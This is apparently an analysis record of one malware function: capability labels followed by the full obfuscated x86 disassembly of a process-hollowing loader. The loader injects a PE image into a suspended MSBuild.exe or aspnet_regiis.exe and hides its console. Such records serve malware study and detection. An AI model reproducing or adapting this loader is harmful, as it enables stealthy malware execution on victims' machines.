Function at 0x10002440
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov eax, dword [0x10065c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x17c], 0xcdc1f619
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x826a33b6
je 0x10003f3b
jmp 0x1000247c
mov eax, dword [ebp - 0x180]
sub eax, 0x85518faa
je 0x10003f8c
jmp 0x10002492
mov eax, dword [ebp - 0x180]
sub eax, 0x88fca04f
je 0x1000455e
jmp 0x100024a8
mov eax, dword [ebp - 0x180]
sub eax, 0x8c3bff1d
je 0x1000325c
jmp 0x100024be
mov eax, dword [ebp - 0x180]
sub eax, 0x8cb5cc89
je 0x10002fe0
jmp 0x100024d4
mov eax, dword [ebp - 0x180]
sub eax, 0x8dc8eb9c
je 0x10003e18
jmp 0x100024ea
mov eax, dword [ebp - 0x180]
sub eax, 0x905593d7
je 0x100036d8
jmp 0x10002500
mov eax, dword [ebp - 0x180]
sub eax, 0x94119ddb
je 0x10004325
jmp 0x10002516
mov eax, dword [ebp - 0x180]
sub eax, 0x947a9640
je 0x10003298
jmp 0x1000252c
mov eax, dword [ebp - 0x180]
sub eax, 0x9822a59c
je 0x10004a09
jmp 0x10002542
mov eax, dword [ebp - 0x180]
sub eax, 0x997dded4
je 0x100032f8
jmp 0x10002558
mov eax, dword [ebp - 0x180]
sub eax, 0x9be2df63
je 0x10004428
jmp 0x1000256e
mov eax, dword [ebp - 0x180]
sub eax, 0xa31be071
je 0x100047d5
jmp 0x10002584
mov eax, dword [ebp - 0x180]
sub eax, 0xa6f5d0a7
je 0x10003d19
jmp 0x1000259a
mov eax, dword [ebp - 0x180]
sub eax, 0xa7f117b5
je 0x10004308
jmp 0x100025b0
mov eax, dword [ebp - 0x180]
sub eax, 0xaace6e93
je 0x100033a9
jmp 0x100025c6
mov eax, dword [ebp - 0x180]
sub eax, 0xab475047
je 0x10003932
jmp 0x100025dc
mov eax, dword [ebp - 0x180]
sub eax, 0xaba8d8e6
je 0x1000367d
jmp 0x100025f2
mov eax, dword [ebp - 0x180]
sub eax, 0xac531a78
je 0x100049e5
jmp 0x10002608
mov eax, dword [ebp - 0x180]
sub eax, 0xad28a634
je 0x10003cae
jmp 0x1000261e
mov eax, dword [ebp - 0x180]
sub eax, 0xb34a73f4
je 0x10003b6e
jmp 0x10002634
mov eax, dword [ebp - 0x180]
sub eax, 0xb4c79868
je 0x100041da
jmp 0x1000264a
mov eax, dword [ebp - 0x180]
sub eax, 0xb576e30d
je 0x100033d9
jmp 0x10002660
mov eax, dword [ebp - 0x180]
sub eax, 0xbad33ad6
je 0x10004446
jmp 0x10002676
mov eax, dword [ebp - 0x180]
sub eax, 0xbaf0d689
je 0x1000314b
jmp 0x1000268c
mov eax, dword [ebp - 0x180]
sub eax, 0xbbeee461
je 0x1000439e
jmp 0x100026a2
mov eax, dword [ebp - 0x180]
sub eax, 0xbcf28799
je 0x10002f8c
jmp 0x100026b8
mov eax, dword [ebp - 0x180]
sub eax, 0xbd1c9940
je 0x100047f6
jmp 0x100026ce
mov eax, dword [ebp - 0x180]
sub eax, 0xbd2d66e9
je 0x10003a03
jmp 0x100026e4
mov eax, dword [ebp - 0x180]
sub eax, 0xbd2ff71c
je 0x1000475f
jmp 0x100026fa
mov eax, dword [ebp - 0x180]
sub eax, 0xbe023313
je 0x100044e8
jmp 0x10002710
mov eax, dword [ebp - 0x180]
sub eax, 0xbff00b82
je 0x100043ad
jmp 0x10002726
mov eax, dword [ebp - 0x180]
sub eax, 0xc031f869
je 0x10004098
jmp 0x1000273c
mov eax, dword [ebp - 0x180]
sub eax, 0xc3459257
je 0x10003cfe
jmp 0x10002752
mov eax, dword [ebp - 0x180]
sub eax, 0xc39188f8
je 0x10003635
jmp 0x10002768
mov eax, dword [ebp - 0x180]
sub eax, 0xc3e88e34
je 0x10003760
jmp 0x1000277e
mov eax, dword [ebp - 0x180]
sub eax, 0xc69ed61f
je 0x10002f68
jmp 0x10002794
mov eax, dword [ebp - 0x180]
sub eax, 0xcb50eb99
je 0x10003819
jmp 0x100027aa
mov eax, dword [ebp - 0x180]
sub eax, 0xcb670e2b
je 0x1000351a
jmp 0x100027c0
mov eax, dword [ebp - 0x180]
sub eax, 0xcdc1f619
je 0x10002ddf
jmp 0x100027d6
mov eax, dword [ebp - 0x180]
sub eax, 0xd00aded5
je 0x10003cbd
jmp 0x100027ec
mov eax, dword [ebp - 0x180]
sub eax, 0xd0848cd3
je 0x10003bc2
jmp 0x10002802
mov eax, dword [ebp - 0x180]
sub eax, 0xd27bd0b6
je 0x100037b1
jmp 0x10002818
mov eax, dword [ebp - 0x180]
sub eax, 0xde59d2e2
je 0x100048a4
jmp 0x1000282e
mov eax, dword [ebp - 0x180]
sub eax, 0xdea0bb06
je 0x100031e5
jmp 0x10002844
mov eax, dword [ebp - 0x180]
sub eax, 0xdf42c922
je 0x10003e78
jmp 0x1000285a
mov eax, dword [ebp - 0x180]
sub eax, 0xe94430c0
je 0x100040c8
jmp 0x10002870
mov eax, dword [ebp - 0x180]
sub eax, 0xebb55dca
je 0x1000327d
jmp 0x10002886
mov eax, dword [ebp - 0x180]
sub eax, 0xecf5fb20
je 0x1000418f
jmp 0x1000289c
mov eax, dword [ebp - 0x180]
sub eax, 0xf5fea326
je 0x1000315a
jmp 0x100028b2
mov eax, dword [ebp - 0x180]
sub eax, 0xf7a20c90
je 0x10003d8b
jmp 0x100028c8
mov eax, dword [ebp - 0x180]
sub eax, 0xf85a1815
je 0x10003828
jmp 0x100028de
mov eax, dword [ebp - 0x180]
sub eax, 0xfe6819b7
je 0x100033b8
jmp 0x100028f4
mov eax, dword [ebp - 0x180]
sub eax, 0x3fd667f
je 0x1000470e
jmp 0x1000290a
mov eax, dword [ebp - 0x180]
sub eax, 0x55d1b42
je 0x100046ff
jmp 0x10002920
mov eax, dword [ebp - 0x180]
sub eax, 0x742e943
je 0x100049d6
jmp 0x10002936
mov eax, dword [ebp - 0x180]
sub eax, 0x861bf5a
je 0x10003b7d
jmp 0x1000294c
mov eax, dword [ebp - 0x180]
sub eax, 0x95dd45d
je 0x1000360e
jmp 0x10002962
mov eax, dword [ebp - 0x180]
sub eax, 0xb53426c
je 0x100049f4
jmp 0x10002978
mov eax, dword [ebp - 0x180]
sub eax, 0xea3e3ac
je 0x1000497c
jmp 0x1000298e
mov eax, dword [ebp - 0x180]
sub eax, 0xf88f6b9
je 0x10003852
jmp 0x100029a4
mov eax, dword [ebp - 0x180]
sub eax, 0x14f124a1
je 0x10003eea
jmp 0x100029ba
mov eax, dword [ebp - 0x180]
sub eax, 0x197ddb65
je 0x100035b7
jmp 0x100029d0
mov eax, dword [ebp - 0x180]
sub eax, 0x1a118ca3
je 0x100040a7
jmp 0x100029e6
mov eax, dword [ebp - 0x180]
sub eax, 0x1b5f6b50
je 0x10004437
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
sub edx, 0xef906142
sub edx, 1
add edx, 0xef906142
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbd1c9940
mov ecx, 0x39ffae3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov edx, dword [ebp - 0x110]
mov eax, 0x7b8409fb
mov ecx, 0xbcf28799
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x17c], 0x3395bc21
jmp 0x10004ab0
mov edx, dword [ebp - 0x108]
mov eax, 0x3fd667f
mov ecx, 0x475dbe41
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0xf5fea326
jmp 0x10004ab0
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x17c], 0x2e6ace3e
jmp 0x10004ab0
mov eax, dword [ebp - 0x100]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x145], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x14c], eax
mov al, byte [ebp - 0x145]
and al, 1
mov byte [ebp - 0xf9], al
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde59d2e2
mov ecx, 0x8c3bff1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dl, byte [ebp - 0xf9]
mov eax, 0xebb55dca
mov ecx, 0x3baadd3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x17c], 0x947a9640
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x3baadd3f
jmp 0x10004ab0
mov edx, dword [ebp - 0x14c]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xf8], eax
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0xebb9df8e
sub edx, 1
sub edx, 0xebb9df8e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d018ab6
mov ecx, 0xaace6e93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0xfe6819b7
jmp 0x10004ab0
mov edx, dword [ebp - 0xf8]
mov eax, 0x50ff1f98
mov ecx, 0xb576e30d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x17c], 0x1be13599
jmp 0x10004ab0
mov dl, byte [ebp - 0xe9]
mov eax, 0x5291c2ab
mov ecx, 0x520a1bf6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov eax, 0xaba8d8e6
mov ecx, 0x95dd45d
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x17c], 0xc39188f8
jmp 0x10004ab0
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe0]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x17c], 0xaba8d8e6
jmp 0x10004ab0
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x13c]
add eax, 0x3c
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x17c], 0x905593d7
jmp 0x10004ab0
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
add eax, ecx
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x144]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x144]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0x144]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0
mov dword [ebp - 0x17c], 0xc3e88e34
jmp 0x10004ab0
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0xaa042706
sub edx, 1
sub edx, 0xaa042706
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d93ce60
mov ecx, 0xd27bd0b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x144]
mov ax, word [eax + 6]
mov word [ebp - 0xce], ax
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d93ce60
mov ecx, 0xcb50eb99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0xf85a1815
jmp 0x10004ab0
mov ax, word [ebp - 0xce]
movzx esi, ax
mov edx, dword [ebp - 0xd4]
mov eax, 0xc3459257
mov ecx, 0xf88f6b9
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x12c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x178]
mov esi, dword [ebp - 0x12c]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x178]
mov edi, dword [ebp - 0x12c]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x7419ac5c
add edx, esi
sub edx, 0x7419ac5c
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x12c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x17c], 0x26a80791
jmp 0x10004ab0
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea3e3ac
mov ecx, 0x681cff3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x178]
mov edx, dword [ebp - 0x12c]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0x10]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xc4]
mov eax, 0xd0848cd3
mov ecx, 0x40b3d434
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x861bf5a
jmp 0x10004ab0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb0]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xb8]
sub eax, 0xbf6c7e6b
sub eax, ecx
add eax, 0xbf6c7e6b
mov ecx, dword [ebp - 0xbc]
add ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov dword [ebp - 0x17c], 0xd0848cd3
jmp 0x10004ab0
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
add edx, 0xa89c82a6
sub edx, 1
sub edx, 0xa89c82a6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b347ed0
mov ecx, 0x3b17d11b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0xd00aded5
jmp 0x10004ab0
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x17c], 0x7a2bb7db
jmp 0x10004ab0
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x17c], 0xa6f5d0a7
jmp 0x10004ab0
mov edx, dword [ebp - 0xa8]
mov eax, 0xbad33ad6
mov ecx, 0x3216024c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x144]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0xa1], al
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
sub edx, 0xb496dcdf
sub edx, 1
add edx, 0xb496dcdf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4faa1f1c
mov ecx, 0x8dc8eb9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x5efedd26
jmp 0x10004ab0
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0x42ceea55
sub edx, 1
sub edx, 0x42ceea55
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x742e943
mov ecx, 0x66f03c89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0xcdfc47c7
sub edx, 1
sub edx, 0xcdfc47c7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac531a78
mov ecx, 0x826a33b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
sub edx, 0x9e2d2684
sub edx, 1
add edx, 0x9e2d2684
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac531a78
mov ecx, 0x85518faa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x442d2c74
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x1a118ca3
jmp 0x10004ab0
mov edx, dword [ebp - 0xa0]
mov eax, 0x1b5f6b50
mov ecx, 0xe94430c0
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x144]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x17c], 0x66d4ad9b
jmp 0x10004ab0
mov dl, byte [ebp - 0x91]
mov eax, 0x29ff61cd
mov ecx, 0x43a9b805
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x90]
movzx edx, word [eax]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x8a136f22
or edx, ecx
or eax, 0x8a136f22
xor edx, 0xffffffff
and edx, eax
mov eax, 0xbbeee461
mov ecx, 0x2a9e7969
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x17c], 0x94119ddb
jmp 0x10004ab0
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x84]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x114]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x17c], 0x621bb000
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0xbff00b82
jmp 0x10004ab0
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x17c], 0x1fa099d5
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x442d2c74
jmp 0x10004ab0
mov eax, dword [ebp - 0x144]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, 8
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x150]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x17c], 0xbe023313
jmp 0x10004ab0
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
sub edx, 0xe32a66a3
sub edx, 1
add edx, 0xe32a66a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9822a59c
mov ecx, 0x88fca04f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x78]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9822a59c
mov ecx, 0x438af661
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x3fd667f
jmp 0x10004ab0
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0x38bb1c5
sub edx, 1
sub edx, 0x38bb1c5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72a61da3
mov ecx, 0xbd2ff71c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
add edx, 0xe0be4293
sub edx, 1
sub edx, 0xe0be4293
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72a61da3
mov ecx, 0xa31be071
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x10004ab0
mov dword [ebp - 0x17c], 0x7b8409fb
jmp 0x10004ab0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4dc00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x13c], eax
